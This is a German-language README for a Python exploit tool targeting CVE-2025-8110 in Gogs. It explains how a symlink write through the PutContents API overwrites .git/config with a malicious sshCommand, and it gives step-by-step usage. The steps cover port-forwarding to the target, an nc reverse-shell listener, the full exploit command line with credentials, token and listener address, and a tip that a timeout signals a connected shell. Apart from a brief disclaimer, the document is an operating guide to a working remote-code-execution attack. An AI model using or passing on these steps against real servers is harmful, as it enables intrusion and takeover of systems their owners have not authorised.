
Gogs CVE-2025-8110 RCE Exploit
Ein automatisiertes Python-Exploit für CVE-2025-8110 in Gogs. Diese Schwachstelle ermöglicht Remote Code Execution (RCE) durch Missbrauch der PutContents-API, die nicht überprüft, ob ein Dateipfad ein Symlink ist. Durch Überschreiben der internen .git/config-Datei über einen Symlink kann ein bösartiger sshCommand injiziert werden, um eine Reverse-Shell auszulösen.
Stellen Sie sicher, dass Python 3 und die erforderlichen Abhängigkeiten installiert sind:
pip install requests rich beautifulsoup4
Außerdem muss git installiert und in Ihrem $PATH erreichbar sein, um die Repository-Klon- und Commit-Phase durchführen zu können.
Gogs kann an 127.0.0.1:3001 gebunden sein. Verwenden Sie Portweiterleitung, um lokal auf die WebUI zuzugreifen:
ssh -L 3001:127.0.0.1:3001 user@target-ip
Nach der Weiterleitung navigieren Sie zu http://localhost:3001:
Das Skript verwendet die Gogs-API, um die Payload auszuliefern:
Starten Sie Ihren Listener, bevor Sie das Skript ausführen, da die Shell ausgelöst wird, sobald das API-Update verarbeitet wird.
nc -lvnp 5555
Übergeben Sie Ihre Anmeldedaten und das Token als Argumente:
python3 exploit.py -u http://localhost:3001 -un <IHR_BENUTZER> -pw <IHR_PASSWORT> -t <IHR_TOKEN> -lh <IHRE_IP> -lp 5555
| Flag | Beschreibung |
|---|---|
-u | Die Basis-URL der Gogs-Instanz (z. B. http://localhost:3001). |
-un | Der Benutzername des von Ihnen erstellten Kontos. |
-pw | Das Passwort des von Ihnen erstellten Kontos. |
-t | Das in den Einstellungen generierte API-Token. |
-lh | Die IP-Adresse Ihres Listeners (LHOST). |
-lp | Der Port Ihres Listeners (LPORT). |
Hinweis: Wenn das Skript hängt oder nach „Überschreiben von .git/config“ einen
Read timed outzurückgibt, überprüfen Sie Ihren Listener. Dies deutet normalerweise darauf hin, dass die Reverse-Shell erfolgreich verbunden wurde und die Verbindung hält.
Autor: TYehan
Haftungsausschluss: Dieses Tool dient nur zu Bildungszwecken und für autorisierte Sicherheitsaudits. Verwenden Sie es verantwortungsbewusst.